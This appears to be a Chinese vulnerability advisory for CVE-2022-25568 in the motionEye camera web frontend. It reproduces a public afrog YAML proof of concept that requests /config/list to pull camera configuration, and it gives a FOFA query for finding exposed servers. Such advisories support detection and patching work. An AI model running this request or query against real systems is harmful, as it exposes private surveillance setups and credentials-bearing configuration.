CVE-2022-25568: MotionEye 视频监控组件 list 信息泄漏

日期: 2025-09-01 | 影响软件: MotionEye视频监控组件 | POC: 已公开

漏洞描述

motionEye是用Python写的motion的Web前端，它可以监视视频信号并检测运动。它可以与多种类型的摄像机配合使用,也可以与电影文件一起使用,从而使您可以分析录制的视频，其中存在一个信息泄漏漏洞，通过构造特定的URL即可获取服务器敏感信息 fofa: banner="motionEye"

PoC代码[已公开]

id: CVE-2022-25568

info:
  name: MotionEye 视频监控组件 list 信息泄漏
  author: zan8in
  severity: medium
  description: |
    motionEye是用Python写的motion的Web前端，它可以监视视频信号并检测运动。它可以与多种类型的摄像机配合使用,也可以与电影文件一起使用,从而使您可以分析录制的视频，其中存在一个信息泄漏漏洞，通过构造特定的URL即可获取服务器敏感信息
    fofa: banner="motionEye"
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-25568
    - http://wiki.peiqi.tech/wiki/frame/MotionEye/MotionEye%20%E8%A7%86%E9%A2%91%E7%9B%91%E6%8E%A7%E7%BB%84%E4%BB%B6%20list%20%E4%BF%A1%E6%81%AF%E6%B3%84%E6%BC%8F%E6%B4%9E%20CVE-2022-25568.html

rules:
  r0:
    request:
      method: GET
      path: /config/list
    expression: response.status == 200 && response.body.bcontains(b'{"cameras":') && response.headers["server"].icontains("motionEye")
expression: r0()
来源: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/CVE/2022/CVE-2022-25568.yaml

相关漏洞推荐